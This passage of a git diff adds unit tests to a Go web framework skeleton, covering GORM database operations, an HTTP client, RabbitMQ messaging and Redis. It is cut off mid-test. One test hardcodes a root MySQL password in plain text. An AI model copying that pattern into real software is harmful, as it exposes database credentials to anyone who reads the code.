JQB7xCgkmY+EpyQJ082mEqzRERERERERETpBYOOREZAFRiAgDgDyGgo7GBnw5AjEREREREREaU/DDoSGQExLAwhstbVEMxhZsZLlIiIiIiIiIjSH0Y0iIxBVCTCpT8/M4WpQvqTiIiIiIiIiCgdYdCRyAhEhkdAKa/pCAXMGHQkIiIiIiIionSIQUeiNBeFF6/9IB9HBiZWsLTiJUpERERERERE6Q8jGkRpKeIdHhxbhr9WnUSYtOgjQWGHbNnNpDkiIiIiIiIiovSDQUeitBC0Hj3z2CFL1hwo6N4biy6GQN66WpEvL1yspBkiIiIiIiIionSEQUeiNKFCZFAgQrU7cpQokNe9OspZS7NEREREREREROkIg45ERkhwaoABvRrCXponIiIiIiIiIkpPGHQkMioC7Eq2xoSlczGoAttWExEREREREVH6ZCJqSH8TUWoJ2oA+5YZgZ6QZLKztkN0pN/IXLQPX2k3xdat6KGIrrUdERERERERElA4x6EhEREREREREREQGxebVREREREREREREZFAMOhIREREREREREZFBMehIREREREREREREBsWgIxERERERERERERkUg45ERERERERERERkUAw6EhERERERERERkUEx6EhEREREREREREQGxaAjERERERERERERGRSDjkRERERERERERGRQDDoSERERERERERGRAQH/B8ErW/HRo480AAAAAElFTkSuQmCC
\ No newline at end of file
diff --git a/GinSkeleton/test/gormv2_test.go b/GinSkeleton/test/gormv2_test.go
new file mode 100644
index 0000000..ddbb4cb
--- /dev/null
+++ b/GinSkeleton/test/gormv2_test.go
@@ -0,0 +1,396 @@
+package test
+
+import (
+	"fmt"
+	"goskeleton/app/global/variable"
+	"goskeleton/app/utils/gorm_v2"
+	_ "goskeleton/bootstrap"
+	"sync"
+	"testing"
+	"time"
+)
+
+//  gorm v2  操作数据库单元测试
+//  单元测试为了不影响自带的数据库,我们将单元测试涉及到的表创建在了 独立的额数据库:  db_ginskeleton2_test
+// 测试本篇首先保证 config/gorm_v2.yml 文件配置正确,相关配置项 IsInitGolobalGormMysql = 1 ,并且是设置连接的数据为:db_ginskeleton2_test
+// 单元测试涉及到的数据库下载地址:https://wwt.lanzoul.com/ivT3A06cq35i
+// 本文件测试到的相关数据表由于数据量较大, 最终的数据库文件没有放置在本项目骨架中,如果你动手能力很强,可以通过 issue 留言获取,重新进行测试
+// 更多使用用法参见官方文档:https://gorm.io/zh_CN/docs/v2_release_note.html
+
+// 模拟创建 3 个数据表,请在数据库按照结构体字段自行创建,字段全部使用小写
+type tb_users struct {
+	Id        uint   `json:"id"  gorm:"primaryKey" `
+	UserName  string `json:"user_name"`
+	Age       uint8  `json:"age"`
+	Addr      string `json:"addr"`
+	Email     string `json:"email"`
+	Phone     string `json:"phone"`
+	Remark    string `json:"remark"`
+	CreatedAt string `json:"created_at"`
+	UpdatedAt string `json:"updated_at"`
+}
+
+func (*tb_users) TableName() string {
+	return "tb_users"
+}
+
+//角色表
+type tb_role struct {
+	Id          uint   `json:"id"  gorm:"primaryKey" `
+	Name        string `json:"name"`
+	DisplayName string `json:"display_name"`
+	Description string `json:"description"`
+	Remark      string `json:"remark"`
+	CreatedAt   string `json:"created_at"`
+	UpdatedAt   string `json:"updated_at"`
+}
+
+func (*tb_role) TableName() string {
+	return "tb_role"
+}
+
+// 用户登录日志
+type tb_user_log struct {
+	Id        int `gorm:"primaryKey" `
+	UserId    int
+	Ip        string
+	LoginTime string
+	Remark    string
+	CreatedAt string `json:"created_at"`
+	UpdatedAt string `json:"updated_at"`
+}
+
+// 如果不自定义,默认使用的是表名的复数形式,即:Tb_user_logs
+func (*tb_user_log) TableName() string {
+	return "tb_user_log"
+}
+
+// code_list表
+type tb_code_list struct {
+	Code           string
+	Name           string
+	CompanyName    string
+	Concepts       string
+	ConceptsDetail string
+	Province       string
+	City           string
+	Status         uint8
+	Remark         string
+	CreatedAt      string
+	UpdatedAt      string
+}
+
+// 如果不自定义,默认使用的是表名的复数形式,即:Tb_user_logs
+func (*tb_code_list) TableName() string {
+	return "tb_code_list"
+}
+
+// 查询
+func TestGormSelect(t *testing.T) {
+	// 查询 tb_users,由于没有配置指定的主从数据库。,所以默认连接的是
+	var users []tb_users
+	var roles []tb_role
+
+	// tb_users 查询数据会从  db_test 查询, 整个语句没有指定表名,那么就会从 Find 函数参数  &users 上绑定的 tableName函数的返回值中获取表名
+	result := variable.GormDbMysql.Select("id", "user_name", "phone", "email", "remark").Where("user_name  like ?", "%test%").Find(&users)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+	fmt.Printf("tb_users表数据:%v\n", users)
+
+	result = variable.GormDbMysql.Where("name  like ?", "%test%").Find(&roles)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+	fmt.Printf("tb_roles表数据:%v\n", roles)
+}
+
+// 新增
+func TestGormInsert(t *testing.T) {
+	var usrLog = &tb_user_log{
+		UserId:    3,
+		Ip:        "192.168.1.110",
+		LoginTime: time.Now().Format("2006-01-02 15:04:05"),
+		Remark:    "备注信息1028",
+		CreatedAt: time.Now().Format("2006-01-02 15:04:05"),
+		UpdatedAt: time.Now().Format("2006-01-02 15:04:05"),
+	}
+
+	// 方式1:相关sql 语句: insert  into Tb_user_log(user_id,ip,login_time,CreatedAt,updated_at)  values(1,"192.168.1.10","当前时间","当前时间")
+	result := variable.GormDbMysql.Create(usrLog)
+	if result.RowsAffected < 0 {
+		t.Error("新增失败,错误详情:", result.Error.Error())
+	}
+
+	// 方式2:相关sql 语句: insert  into Tb_user_log(user_id,ip,remark)  values(1,"192.168.1.10","备注信息001")
+	result = variable.GormDbMysql.Select("user_id", "ip", "remark").Create(usrLog)
+	if result.RowsAffected < 0 {
+		t.Error("新增失败,错误详情:", result.Error.Error())
+	}
+}
+
+// 修改
+func TestGormUpdate(t *testing.T) {
+	var usrLog = tb_user_log{
+		Id:        13, // 更新操作一定要指定主键Id
+		UserId:    3,
+		Ip:        "127.0.0.1",
+		LoginTime: "2008-08-08 08:08:08",
+		Remark:    "整个结构体对应的字段全部更新",
+		CreatedAt: time.Now().Format("2006-01-02 15:04:05"),
+		UpdatedAt: time.Now().Format("2006-01-02 15:04:05"),
+	}
+	// 整个结构体全量更新
+	result := variable.GormDbMysql.Save(&usrLog)
+	if result.RowsAffected < 0 {
+		t.Error("update失败,错误详情:", result.Error.Error())
+	}
+
+	// 定义更新字段的map, 键值对
+	var relaValue = map[string]interface{}{
+		"user_id":    66,
+		"ip":         "192.168.6.66",
+		"login_time": time.Now().Format("2006-01-02 15:04:05"),
+		"remark":     "指定字段更新,备注信息",
+	}
+	// 指定字段更新,更新sql: update  Tb_user_log  set user_id=66,ip='192.168.6.66' , login_time='当前时间', remark='指定字段更新,备注信息'  where  id=11
+	result = variable.GormDbMysql.Model(&usrLog).Select("user_id", "ip", "login_time", "remark").Where("id=?", 13).Updates(relaValue)
+	if result.RowsAffected < 0 {
+		t.Error("update失败,错误详情:", result.Error.Error())
+	}
+}
+
+// 删除
+func TestGormDelete(t *testing.T) {
+	// 定义一个只带有ID 的相关表结构体
+	var key_primary_struct = tb_role{
+		Id: 4,
+	}
+	// 方法1: sql:delete  from tb_role where  id =4
+	result := variable.GormDbMysql.Delete(key_primary_struct)
+	if result.RowsAffected < 0 {
+		t.Error("delete失败,错误详情:", result.Error.Error())
+	}
+
+	// 方法2: sql:delete  from tb_role where  id =5
+	result = variable.GormDbMysql.Delete(&tb_role{}, 5)
+	if result.RowsAffected < 0 {
+		t.Error("delete失败,错误详情:", result.Error.Error())
+	}
+}
+
+// 原生sql
+
+func TestRawSql(t *testing.T) {
+
+	// 查询类
+	var receive []tb_user_log
+	variable.GormDbMysql.Raw("select * from   tb_user_log  where id>?", 0).Scan(&receive)
+	fmt.Printf("%v\n", receive)
+	//var dest=make([]string,0)
+	//_=sql_res_to_tree.CreateSqlResFormatFactory().ScanToTreeData(receive,&dest)
+	//执行类
+	result := variable.GormDbMysql.Exec("update tb_user_log  set  remark=?  where   id=?", "gorm原生sql执行修改操作", 17)
+	if result.RowsAffected < 0 {
+		t.Error("原生sql执行失败,错误详情:", result.Error.Error())
+	}
+}
+
+func TestBatchInsertSql(t *testing.T) {
+
+	// 查询类
+	sql := `
+INSERT  INTO tb_auth_post_mount_has_menu_button(fr_auth_post_mount_has_menu_id,fr_auth_button_cn_en_id) 
+SELECT 91,4 FROM  DUAL  WHERE   NOT EXISTS(SELECT 1 FROM tb_auth_post_mount_has_menu_button a  WHERE  a.fr_auth_post_mount_has_menu_id=91 AND a.fr_auth_button_cn_en_id=4)
+	`
+	for i := 0; i < 100; i++ {
+		result := variable.GormDbMysql.Exec(sql)
+		if result.Error != nil {
+			t.Error("原生sql执行失败,错误详情:", result.Error.Error())
+		}
+	}
+
+}
+
+// 性能测试(大量查询计算耗时,评测性能)
+func TestUseTime(t *testing.T) {
+	//循环查询100次,每次查询3500条数据,累计查询数据量为 35 万, 计算总耗时
+	var receives []tb_code_list
+	var time1 = time.Now()
+	for i := 0; i < 100; i++ {
+		receives = make([]tb_code_list, 0)
+		variable.GormDbMysql.Model(tb_code_list{}).Select("code", "name", "company_name", "concepts_detail", "province", "city", "remark", "status", "created_at", "updated_at").Where("id<=?", 3500).Find(&receives)
+
+	}
+	fmt.Printf("gorm数据遍历完毕:最后一次条数:%d\n", len(receives))
+	//经过测试,遍历处理35万条数据,需要 1034 毫秒,不同配置的电脑耗时不一样
+	fmt.Printf("本次耗时(毫秒):%d\n", time.Now().Sub(time1).Milliseconds())
+
+	//  直接使用 gorm 的原生
+	//for i:=0;i<100;i++{
+	//	receives=make([]tb_code_list,0)
+	//	variable.GormDbMysql.Raw("SELECT   `code`,  `name`,  `company_name`,  `concepts`,  `concepts_detail`,  `province`,  `city`,  `remark`,  `status`,  `CreatedAt`,  `updated_at` FROM `tb_code_list`  where id<3500 ").Find(&receives)
+	//}
+	//fmt.Printf("gorm 原生sql数据遍历完毕:最后一次条数:%d\n",len(receives))
+	//// 经过测试,遍历处理35万条数据,需要 4.58 秒
+	//fmt.Printf("本次耗时(毫秒):%d\n",time.Now().Sub(time1).Milliseconds())
+}
+
+// 性能测试(并发与连接池)
+func TestCocurrent(t *testing.T) {
+	// SELECT   `code`,  `name`,  `company_name`,  `concepts`,  `concepts_detail`,  `province`,  `city`,  `remark`,  `status`,  `created_at`,  `updated_at` FROM `tb_code_list`  where   id<3500;
+	var wg sync.WaitGroup
+	// 数据库的并发最大连接数建议设置为 128, 后续测试将通过测试数据验证
+	var conNum = make(chan uint16, 128)
+	wg.Add(1000)
+	time1 := time.Now()
+	for i := 1; i <= 1000; i++ {
+		conNum <- 1
+		go func() {
+			defer func() {
+				<-conNum
+				wg.Done()
+			}()
+			var received []tb_code_list
+			variable.GormDbMysql.Table("tb_code_list").Select("code", "name", "company_name", "province", "city", "remark", "status", "created_at", "updated_at").Where("id<=?", 3500).Find(&received)
+			//fmt.Printf("本次读取的数据条数:%d\n",len(received))
+		}()
+	}
+	wg.Wait()
+	fmt.Printf("耗时(ms):%d\n", time.Now().Sub(time1).Milliseconds())
+
+	// 测试结果,2022-06-13 补充,以下测试数据为 I7-4代机器,在I7-12代机器上面耗时非常少,128并发只需要 3.13 秒就完成了本单元测试
+	// 1.数据库并发在 1000 (相当于有1000个客户端连接操作数据库,可以在数据库使用 show processlist 自行实时刷新观察、验证),
+	// 2.并发设置为 1000,累计查询、返回结果的数据条数:350万. 最终耗时:(14.28s)
+	// 3.并发设置为 500,累计查询、返回结果的数据条数:350万. 最终耗时:(14.03s)
+	// 4.并发设置为 250,累计查询、返回结果的数据条数:350万. 最终耗时:(13.57s)
+	// 5.并发设置为 128,累计查询、返回结果的数据条数:350万. 最终耗时:(13.27s)   //  由此可见,数据库并发性能最优值就是同时有128个连接,该值相当于抛物线的最高性能点
+	// 6.并发设置为 100,累计查询、返回结果的数据条数:350万. 最终耗时:(13.43s)
+	// 7.并发设置为 64,累计查询、返回结果的数据条数:350万. 最终耗时:(15.10s)
+
+}
+
+// 面对复杂场景,需要多个客户端连接到部署在多个不同服务器的 mysql、sqlserver、postgresql 等数据库时,
+// 由于配置文件(config/gorm_v2.yml)只提供了一份mysql连接,无法满足需求,这时您可以通过自定义参数直接连接任意数据库,获取一个数据库句柄,供业务使用
+func TestCustomeParamsConnMysql(t *testing.T) {
+	// 定义一个查询结果接受结构体
+	type DataList struct {
+		Id            int
+		Username      string
+		Last_login_ip string
+		Status        int
+	}
+	// 设置动态参数连接任意多个数据库,以mysql为例进行单元测试
+	// 参数结构体 Write 和 Read 只有设置了具体指,才会生效,否则程序自动使用配置目录(config/gorm_v.yml)中的参数
+	confPrams := gorm_v2.ConfigParams{
+		Write: struct {
+			Host     string
+			DataBase string
+			Port     int
+			Prefix   string
+			User     string
+			Pass     string
+			Charset  string
+		}{Host: "127.0.0.1", DataBase: "db_test", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"},
+		Read: struct {
+			Host     string
+			DataBase string
+			Port     int
+			Prefix   string
+			User     string
+			Pass     string
+			Charset  string
+		}{Host: "127.0.0.1", DataBase: "db_stocks", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}}
+
+	var vDataList []DataList
+
+	//gorm_v2.GetSqlDriver 参数介绍
+	// sqlType : mysql 、sqlserver、postgresql 等数据库库类型
+	// readDbIsOpen : 是否开启读写分离,1表示开启读数据库的配置,那么 confPrams.Read 参数部分才会生效; 0 则表示 confPrams.Read 部分参数直接忽略(即 读、写同库)
+	// confPrams 动态配置的数据库参数
+	// 此外,其他参数,例如数据库连接池等,则直接调用配置项数据库连接池参数,动态不需要配置,这部分对实际操作影响不大
+	if gormDbMysql, err := gorm_v2.GetSqlDriver("mysql", 0, confPrams); err == nil {
+		gormDbMysql.Raw("select id,username,status,last_login_ip from tb_users").Find(&vDataList)
+		fmt.Printf("Read 数据库查询结果:%v\n", vDataList)
+		res := gormDbMysql.Exec("update tb_users  set  real_name='Write数据库更新' where   id<=2 ")
+		fmt.Printf("Write 数据库更新以后的影响行数:%d\n", res.RowsAffected)
+	}
+}
+
+//将结果集数据扫描到树形结构体
+// 定义一个树形结构体将原始sql集数据树形化
+
+// 将sql结果集扫描为树形结构数据
+// 关于sql结果树形化更多的用法参考独立的文档即可:https://gitee.com/daitougege/sql_res_to_tree
+//func TestSqlResultToTreeStruct(t *testing.T) {
+//	// 定义一个原始数据集的接受结构体
+//	var res1 []struct {
+//		Id   int
+//		Name string
+//		Fid  int
+//	}
+//	sql := `
+//		SELECT   id,fid,name  FROM  tb_province_city  WHERE   id   IN(1,25,321)   OR   path_info  LIKE  '0,1,25,321,2721%'
+//      `
+//
+//	variable.GormDbMysql.Raw(sql).Find(&res1)
+//	fmt.Printf("%+v\n", res1)
+//
+//	type ProvinceCity struct {
+//		Id       int            `primaryKey:"yes" json:"id"`
+//		Name     string         `json:"name"`
+//		Fid      int            `fid:"Id" json:"fid"`
+//		Children []ProvinceCity `json:"children"`
+//	}
+//	var dest = make([]ProvinceCity, 0)
+//	if err := sql_res_to_tree.CreateSqlResFormatFactory().ScanToTreeData(res1, &dest); err == nil {
+//
+//		fmt.Printf("%v\n", dest)
+//		bytes, _ := json.Marshal(dest)
+//		fmt.Printf("\n%s\n", bytes)
+//	} else {
+//		t.Errorf("%s\n", err)
+//	}
+//
+//	//  通过反射解剖结构体的字段以及父子关系
+//
+//}
+
+//  sqlserver 数据库测试, 以查询为例,其他操作参见mysql
+// 请在配置项 config > gorm_v2.yml 中,sqlserver 部分,正确配置数据库参数
+// 设置 IsInitGolobalGormSqlserver =1 ,程序自动初始化全局变量
+func TestSqlserver(t *testing.T) {
+	var users []tb_users
+
+	// 执行类sql,如果配置了读写分离,该命令会在 write 数据库执行
+	result := variable.GormDbSqlserver.Exec("update   tb_users  set  remark='update 操作 write数据库' where   id=?", 1)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+
+	// 查询类,如果配置了读写分离,该命令会在 read 数据库执行
+	result = variable.GormDbSqlserver.Table("tb_users").Select("id", "user_name", "pass", "remark").Where("id > ?", 0).Find(&users)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+	fmt.Printf("sqlserver数据查询结果:%v\n", users)
+}
+
+//  PostgreSql 数据库测试
+// 请在配置项 config > gorm_v2.yml 中,PostgreSql 部分,正确配置数据库参数。
+// 设置 IsInitGolobalGormPostgreSql =1 ,程序自动初始化全局变量
+func TestPostgreSql(t *testing.T) {
+	var users []tb_users
+
+	// 执行类sql,如果配置了读写分离,该命令会在 write 数据库执行
+	result := variable.GormDbPostgreSql.Exec("update   web.tb_users  set  remark='update 操作 write数据库' where   id=?", 1)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+	// 查询类,如果配置了读写分离,该命令会在 read 数据库执行
+	result = variable.GormDbPostgreSql.Table("web.tb_users").Select("").Select("id", "user_name", "age", "addr", "remark").Where("id > ?", 0).Find(&users)
+	if result.Error != nil {
+		t.Errorf("单元测试失败,错误明细:%s\n", result.Error.Error())
+	}
+	fmt.Printf("sqlserver数据查询结果:%v\n", users)
+}
diff --git a/GinSkeleton/test/http_client_test.go b/GinSkeleton/test/http_client_test.go
new file mode 100644
index 0000000..cafa809
--- /dev/null
+++ b/GinSkeleton/test/http_client_test.go
@@ -0,0 +1,46 @@
+package test
+
+import (
+	"github.com/qifengzhang007/goCurl"
+	"goskeleton/app/global/variable"
+	_ "goskeleton/bootstrap" //  为了保证单元测试与正常启动效果一致,记得引入该包
+	"testing"
+)
+
+// goCurl 更详细的使用文档 https://gitee.com/daitougege/goCurl
+
+// 一个简单的get请求
+func TestHttpClient(t *testing.T) {
+	cli := goCurl.CreateHttpClient()
+	if resp, err := cli.Get("http://hq.sinajs.cn/list=sh601360"); err == nil {
+		content, err := resp.GetContents()
+		if err != nil {
+			t.Errorf("单元测试未通过,返回值不符合要求:%s\n", content)
+		}
+		t.Log(content)
+	}
+}
+
+// 向门户服务接口请求,用于收集cpu占用情况。
+func TestPprof(t *testing.T) {
+	cli := goCurl.CreateHttpClient()
+	for i := 1; i <= 500; i++ {
+		resp, err := cli.Get("http://127.0.0.1:20191/api/v1/home/news", goCurl.Options{
+			FormParams: map[string]interface{}{
+				"newsType": "portal",
+				"page":     "2",
+				"limit":    "52",
+			},
+		})
+		if err == nil {
+			if txt, err := resp.GetContents(); err == nil {
+				if i == 500 {
+					//最后一次输出返回结果,避免中间过程频繁操作io
+					variable.ZapLog.Info(txt)
+				}
+			}
+		} else {
+			t.Log(err.Error())
+		}
+	}
+}
diff --git a/GinSkeleton/test/login_test.html b/GinSkeleton/test/login_test.html
new file mode 100644
index 0000000..1758d2d
--- /dev/null
+++ b/GinSkeleton/test/login_test.html
@@ -0,0 +1,73 @@
+
+
+
+
+    
+    Login
+    
+
+
+
+    
+ + + +
+ + + + + \ No newline at end of file diff --git a/GinSkeleton/test/rabbitmq_test.go b/GinSkeleton/test/rabbitmq_test.go new file mode 100644 index 0000000..1c05af3 --- /dev/null +++ b/GinSkeleton/test/rabbitmq_test.go @@ -0,0 +1,254 @@ +package test + +import ( + "fmt" + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/my_errors" + "goskeleton/app/utils/rabbitmq/hello_world" + "goskeleton/app/utils/rabbitmq/publish_subscribe" + "goskeleton/app/utils/rabbitmq/routing" + "goskeleton/app/utils/rabbitmq/topics" + "goskeleton/app/utils/rabbitmq/work_queue" + _ "goskeleton/bootstrap" + "os" + "strconv" + "testing" +) + +// 消息队列(rabbitmq)在线文档地址:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/tkcuc8 +// 延迟消息队列在线文档地址:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/grroyv +// 本篇的单元测试提供的是非延迟消息队列的测试,只要学会单元测试提供的示例,延迟队列也是非常简单的,参考在线文档即可 + +// 1.HelloWorld 模式 +func TestRabbitMqHelloWorldProducer(t *testing.T) { + + helloProducer, err := hello_world.CreateProducer() + if err != nil { + t.Errorf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_HelloWorld开始发送消息测试", i+1) + res = helloProducer.Send(str) + //time.Sleep(time.Second * 1) + } + + helloProducer.Close() // 消息投递结束,必须关闭连接 + // 总共发送了10条消息,我们简单判断一下最后一条消息返回的结果 + if res { + t.Log("消息发送OK") + } else { + t.Errorf("HelloWorld模式消息发送失败") + } +} + +// 消费者 +func TestMqHelloWorldConsumer(t *testing.T) { + + consumer, err := hello_world.CreateConsumer() + if err != nil { + t.Errorf("HelloWorld单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail+",%s\n", err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("HelloWorld回调函数处理消息:--->%s\n", receivedData) + }) +} + +// 2.WorkQueue模式 +func TestRabbitMqWorkQueueProducer(t *testing.T) { + + producer, _ := work_queue.CreateProducer() + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_WorkQueue开始发送消息测试", i+1) + res = producer.Send(str) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("WorkQueue模式消息发送失败") + } +} + +// 消费者 +func TestMqWorkQueueConsumer(t *testing.T) { + + consumer, err := work_queue.CreateConsumer() + if err != nil { + t.Errorf("WorkQueue单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s" + err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("WorkQueue回调函数处理消息:--->%s\n", receivedData) + }) +} + +// 3.PublishSubscribe 发布、订阅模式模式 +func TestRabbitMqPublishSubscribeProducer(t *testing.T) { + + producer, err := publish_subscribe.CreateProducer() + if err != nil { + t.Errorf("WorkQueue 单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + for i := 0; i < 10; i++ { + str := fmt.Sprintf("%d_PublishSubscribe开始发送消息测试", i+1) + // 参数二: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(str, 1000) + fmt.Println(str, res) + //time.Sleep(time.Second * 2) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Log("消息发送OK") + } else { + t.Errorf("PublishSubscribe 模式消息发送失败") + } +} + +// 消费者 +func TestRabbitMqPublishSubscribeConsumer(t *testing.T) { + + consumer, err := publish_subscribe.CreateConsumer() + if err != nil { + t.Errorf("PublishSubscribe单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ",%s\n" + err.Error()) + }) + + consumer.Received(func(receivedData string) { + + t.Logf("PublishSubscribe回调函数处理消息:--->%s\n", receivedData) + }) +} + +// Routing 路由模式 +func TestRabbitMqRoutingProducer(t *testing.T) { + + producer, err := routing.CreateProducer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + var key string + for i := 1; i <= 20; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key_even" // 偶数键 + } else { + key = "key_odd" // 奇数键 + } + + //strData := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试"+time.Now().Format("2006-01-02 15:04:05"), i, key) + // 参数三: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(key, strconv.Itoa(i)+"- Routing开始发送消息测试", 10000) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("Routing 模式消息发送失败") + } +} + +// 消费者 +func TestRabbitMqRoutingConsumer(t *testing.T) { + consumer, err := routing.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s\n" + err.Error()) + }) + // 通过route_key 匹配指定队列的消息来处理 + consumer.Received("key_even", func(receivedData string) { + fmt.Println("处理偶数的回调函数 ---> 收到消息内容: " + receivedData) + // t.Logf("处理偶数的回调函数:--->收到消息时间:%s - 消息内容:%s\n", time.Now().Format("2006-01-02 15:04:05"), receivedData) + }) +} + +// topics 模式 +func TestRabbitMqTopicsProducer(t *testing.T) { + + producer, err := topics.CreateProducer() + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + var res bool + var key string + for i := 1; i <= 10; i++ { + + // 将 偶数 和 奇数 分发到不同的key,消费者端,启动两个也各自处理偶数和奇数 + if i%2 == 0 { + key = "key.even" // 偶数键 + } else { + key = "key.odd" // 奇数键 + } + strData := fmt.Sprintf("%d_Routing_%s, 开始发送消息测试", i, key) + // 参数三: 消息延迟的毫秒数,只有创建的对象是延迟模式该参数才有效 + res = producer.Send(key, strData, 10000) + //time.Sleep(time.Second * 1) + } + + producer.Close() // 消息投递结束,必须关闭连接 + + if res { + t.Logf("消息发送OK") + } else { + t.Errorf("topics 模式消息发送失败") + } + //Output: 消息发送OK +} + +// 消费者 +func TestRabbitMqTopicsConsumer(t *testing.T) { + consumer, err := topics.CreateConsumer() + + if err != nil { + t.Errorf("Routing单元测试未通过。%s\n", err.Error()) + os.Exit(1) + } + + consumer.OnConnectionError(func(err *amqp.Error) { + t.Errorf(my_errors.ErrorsRabbitMqReconnectFail + ", %s\n" + err.Error()) + }) + // 通过route_key 模糊匹配队列路由键的消息来处理 + consumer.Received("#.odd", func(receivedData string) { + + t.Logf("模糊匹配偶数键:--->%s\n", receivedData) + }) +} diff --git a/GinSkeleton/test/redis_test.go b/GinSkeleton/test/redis_test.go new file mode 100644 index 0000000..4a5305c --- /dev/null +++ b/GinSkeleton/test/redis_test.go @@ -0,0 +1,117 @@ +package test + +import ( + "fmt" + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/utils/redis_factory" + _ "goskeleton/bootstrap" + "testing" + "time" +) + +// 普通的key value +func TestRedisKeyValue(t *testing.T) { + // 从连接池获取一个连接 + redisClient := redis_factory.GetOneRedisClient() + + // set 命令, 因为 set key value 在redis客户端执行以后返回的是 ok,所以取回结果就应该是 string 格式 + res, err := redisClient.String(redisClient.Execute("set", "key2020", "value202022")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + variable.ZapLog.Info("Info 日志", zap.String("key2020", res)) + } + // get 命令,分为两步:1.执行get命令 2.将结果转为需要的格式 + if res, err = redisClient.String(redisClient.Execute("get", "key2020")); err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } + variable.ZapLog.Info("get key2020 ", zap.String("key2020", res)) + //操作完毕记得释放连接,官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() + +} + +// hash 键、值 +func TestRedisHashKey(t *testing.T) { + + redisClient := redis_factory.GetOneRedisClient() + + // hash键 set 命令, 因为 hSet h_key key value 在redis客户端执行以后返回的是 1 或者 0,所以按照int64格式取回 + res, err := redisClient.Int64(redisClient.Execute("hSet", "h_key2020", "hKey2020", "value2020_hash")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + fmt.Println(res) + } + // hash键 get 命令,分为两步:1.执行get命令 2.将结果转为需要的格式 + res2, err := redisClient.String(redisClient.Execute("hGet", "h_key2020", "hKey2020")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } + fmt.Println(res2) + //官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() +} + +// 测试 redis 连接池 +func TestRedisConnPool(t *testing.T) { + + for i := 1; i <= 20; i++ { + go func() { + redisClient := redis_factory.GetOneRedisClient() + fmt.Printf("获取的redis数据库连接池地址:%p\n", redisClient) + time.Sleep(time.Second * 10) + fmt.Printf("阻塞过程中,您可以通过redis命令 client list 查看链接的客户端") + redisClient.ReleaseOneRedisClient() // 释放从连接池获取的连接 + }() + } + time.Sleep(time.Second * 20) +} + +// 测试redis 网络中断自动重连机制 +func TestRedisReConn(t *testing.T) { + redisClient := redis_factory.GetOneRedisClient() + res, err := redisClient.String(redisClient.Execute("set", "key2020", "测试网络抖动,自动重连机制")) + if err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + variable.ZapLog.Info("Info 日志", zap.String("key2020", res)) + } + //官方明确说,redis使用完毕,必须释放 + redisClient.ReleaseOneRedisClient() + + // 以上内容输出后 , 拔掉网线, 模拟短暂的网络抖动 + t.Log("请在 10秒之内拔掉网线") + time.Sleep(time.Second * 10) + // 断网情况下就会自动进行重连 + redisClient = redis_factory.GetOneRedisClient() + if res, err = redisClient.String(redisClient.Execute("get", "key2020")); err != nil { + t.Errorf("单元测试失败,%s\n", err.Error()) + } else { + t.Log("获取的值:", res) + } + redisClient.ReleaseOneRedisClient() +} + +// 测试返回值为多值的情况 +func TestRedisMulti(t *testing.T) { + redisClient := redis_factory.GetOneRedisClient() + + if _, err := redisClient.String(redisClient.Execute("multi")); err == nil { + redisClient.Execute("hset", "mobile", "xiaomi", "1999") + redisClient.Execute("hset", "mobile", "oppo", "2999") + redisClient.Execute("hset", "mobile", "iphone", "3999") + + if strs, err := redisClient.Int64s(redisClient.Execute("exec")); err == nil 